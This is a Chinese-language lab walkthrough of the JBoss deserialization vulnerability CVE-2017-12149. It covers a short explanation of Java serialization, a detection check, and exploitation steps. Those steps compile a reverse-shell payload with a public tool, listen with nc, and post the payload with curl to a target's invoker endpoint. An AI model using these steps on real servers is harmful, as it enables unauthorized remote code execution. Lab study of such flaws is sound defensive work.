JBOSSApplication Server 反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞危害程度为高危(High)。
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter
过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
首先需要了解Java的序列化和反序列化。Java序列化就是指把Java对象转换为字节序列的过程,在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。Java反序列化就是指把字节序列恢复为Java对象的过程,根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。
JBoss 5.x - 6.x
漏洞靶场启动
访问目标地址,搭建成功
漏洞发现
访问 http://ip:port/invoker/readonly ,若返回如下显示状态码为500的报错界面,则证明漏洞存在.
漏洞利用
这里需要用到 javac 进行编译 ser 文件,所以要有 java 环境,最好是Java 1.8 版本
下载利用反序列化工具 CVE-2015-7501
https://github.com/ianxtianxt/CVE-2015-7501
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap
ip:port
(IP是攻击机ip,port是要监听的端口)
nc 监听端口
curl 192.168.125.130:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser